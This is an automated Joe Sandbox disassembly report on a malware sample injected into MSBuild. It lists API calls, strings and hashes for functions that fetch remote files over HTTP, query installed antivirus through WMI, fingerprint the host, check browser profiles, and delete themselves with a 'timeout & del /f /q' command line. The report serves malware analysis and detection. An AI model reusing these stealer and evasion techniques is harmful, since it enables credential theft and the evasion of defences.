Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocateConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$_DEBUG.zip$cowod.$e694b6d50199ea44207a97e25dda5506$hopto$http://$org
API String ID: 2665860859-488401034
Opcode ID: ba00fea598c8f9b7eb501b1df4ade5e40b70523d29f0704592d13bea502c8da9
Instruction ID: 4ceb97e4bc8bd76a369d1d2619bbd46815a38cac9c71142bc76181b4c2ec3f3b
Opcode Fuzzy Hash: ba00fea598c8f9b7eb501b1df4ade5e40b70523d29f0704592d13bea502c8da9
Instruction Fuzzy Hash: AC9244315483419FC620FF26D94268EB7E1FF84308F51482FF58463191DBB8AA8D8B9B

Function 004135A8 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135EA
StrCmpCA.SHLWAPI(?,true), ref: 004136AC

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 0041376E
lstrcpyA.KERNEL32(?,00000000), ref: 0041379F
lstrcpyA.KERNEL32(?,00000000), ref: 004137DB
lstrcpyA.KERNEL32(?,00000000), ref: 00413817
lstrcpyA.KERNEL32(?,00000000), ref: 00413853
lstrcpyA.KERNEL32(?,00000000), ref: 0041388F
lstrcpyA.KERNEL32(?,00000000), ref: 004138CB
strtok_s.MSVCRT ref: 0041398F

Strings

zA, xrefs: 004139B4
false, xrefs: 004136C5
true, xrefs: 004136A6

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true$zA
API String ID: 2116072422-752889570
Opcode ID: 66d3b3fef956730522b2c25cb3aeaabc49fb5568f228d64d75f124df70e663f1
Instruction ID: f88d8e482521469d959c87b5d2553cfe3082ffd239838e960e1cb591ae3ba6ed
Opcode Fuzzy Hash: 66d3b3fef956730522b2c25cb3aeaabc49fb5568f228d64d75f124df70e663f1
Instruction Fuzzy Hash: 37B16DB5900218ABCF64EF55DC89ACA77B5BF18305F0001EAE549A7261EB75AFC4CF48

Function 00405237 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

lyA, xrefs: 00405250, 00405457, 0040539E
GET, xrefs: 00405325

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET$lyA
API String ID: 442264750-528342985
Opcode ID: 93394d2a30f133874182854a60609d119d756d54e14361920abb4e7fdad1e848
Instruction ID: 7cffea58bcaab2b22dbdd47c1de4c71017d1c0f04b9407cf92f8036c36bebf65
Opcode Fuzzy Hash: 93394d2a30f133874182854a60609d119d756d54e14361920abb4e7fdad1e848
Instruction Fuzzy Hash: 685119B1900A28AFDF21DF64DC84BEFBBB9EB08346F0050E6E509A2290D6755F858F54

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

displayName, xrefs: 00411A6F
Unknown, xrefs: 00411AA0
Unknown, xrefs: 00411AB4
Unknown, xrefs: 00411A99
Select * From AntiVirusProduct, xrefs: 00411A23
root\SecurityCenter2, xrefs: 004119F0
WQL, xrefs: 00411A28

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction ID: a052c58cf411f7e98e6331d271807bd97e667b65bf600afed1fc3e3d3cff73f9
Opcode Fuzzy Hash: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction Fuzzy Hash: 90314F70A04245BBCB20DB91DC49EEFBF7CEFC9B10F20465AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043AAA4), ref: 004012D0
lstrcatA.KERNEL32(?,0043AAA8), ref: 004012DE
lstrcatA.KERNEL32(?,0043AAAC), ref: 004012EC
lstrcatA.KERNEL32(?,0043AAB0), ref: 004012FA
lstrcatA.KERNEL32(?,0043AAB4), ref: 00401308
lstrcatA.KERNEL32(?,0043AAB8), ref: 00401316
lstrcatA.KERNEL32(?,0043AABC), ref: 00401324
lstrcatA.KERNEL32(?,0043AAC0), ref: 00401332
lstrcatA.KERNEL32(?,0043AAC4), ref: 00401340
lstrcatA.KERNEL32(?,0043AAC8), ref: 0040134E
lstrcatA.KERNEL32(?,0043AACC), ref: 0040135C
lstrcatA.KERNEL32(?,0043AAD0), ref: 0040136A
lstrcatA.KERNEL32(?,0043AAD4), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: HeapAlloc.KERNEL32(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocComputerExitName
String ID:
API String ID: 1553874529-0
Opcode ID: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction ID: 9778931569992fdfa2ae274a5f191432572d6dba79c88691fb85554d5ade8f97
Opcode Fuzzy Hash: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction Fuzzy Hash: 9A41A9B2D4422C57DB20EBB19C59FDB7BAC9F18310F5405A3E8D9E3181D67C9A84CB58

Function 00411203 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
RegCloseKey.ADVAPI32(?), ref: 00411446
RegCloseKey.ADVAPI32(?), ref: 00411466
RegCloseKey.ADVAPI32(?), ref: 00411472

Strings

- , xrefs: 004113E6
?, xrefs: 00411263
%s\%s, xrefs: 004112D7

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Closelstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 2394436309-3278919252
Opcode ID: 3d69115a6f8724683417ca135766935035775c138346bf0c7f6cb84cd66cf9a6
Instruction ID: 4bdd8942e51cb3c4ef1bdab2b95b8e79246b76881c5f67d30fe8b157efa9521a
Opcode Fuzzy Hash: 3d69115a6f8724683417ca135766935035775c138346bf0c7f6cb84cd66cf9a6
Instruction Fuzzy Hash: 8A61F7B590022C9BEF21DB15DD84EDAB7B9AB44708F1042E6A608A2121DF35AFC9CF54

Function 00418381 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004183A6
_memset.LIBCMT ref: 004183B5
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 004183CA

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

ShellExecuteEx.SHELL32(?), ref: 00418566
_memset.LIBCMT ref: 00418575
_memset.LIBCMT ref: 00418587
ExitProcess.KERNEL32 ref: 00418597

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

" & exit, xrefs: 00418499
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 004184A0
/c timeout /t 10 & del /f /q ", xrefs: 004183F5
" & exit, xrefs: 004184EA
" & rd /s /q "C:\ProgramData\, xrefs: 00418443

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: d422a401582e63c5a8ddf1c1e1ebbc82d46f8f2d7e5a69427eac4bc0c7923cf1
Instruction ID: 42d7332e6cc6663f0099cc2e6ad6024dff952061cbeabe4f84512a7cff8bb842
Opcode Fuzzy Hash: d422a401582e63c5a8ddf1c1e1ebbc82d46f8f2d7e5a69427eac4bc0c7923cf1
Instruction Fuzzy Hash: 4F51ACB1D4022A9BCB21EF55CD41ADDB3BCAB44708F4110EAA718B3151DA786FC68E58

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E3C), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

C, xrefs: 004109DF
:\, xrefs: 00410A06
0xA, xrefs: 00410B21
QuBi, xrefs: 00410A27

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: 0xA$:\$C$QuBi
API String ID: 1856320939-2474135401
Opcode ID: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction ID: a97db629e7901cba1803c5ad0a4512298f3feb58bff5cd952ebdd5184ea07982
Opcode Fuzzy Hash: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction Fuzzy Hash: A741AFB1A042289BCB249F749D85ADEBBB9EF19304F0000EAF109E3121E6758FD58F54

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

<+A, xrefs: 00406954

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: <+A
API String ID: 2507841554-2778417545
Opcode ID: b126a83a8e75cd60647665ee46d5c35e74e88a93df8161cbc9eec9515351366c
Instruction ID: 38e87463d8a567d304acc58f085aeda0b6ea51c0627365b5ff586089dea0ca20
Opcode Fuzzy Hash: b126a83a8e75cd60647665ee46d5c35e74e88a93df8161cbc9eec9515351366c
Instruction Fuzzy Hash: ED411CB1900128ABDF20DB21DD49BDA7BB9EB04315F1040B6BB09B21A1D6359E958FA8

Function 0040EABC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EAF9
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB56
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECE3
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED40

Strings

Stable\, xrefs: 0040ED5B
Stable\, xrefs: 0040EB71
firefox, xrefs: 0040EE17

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
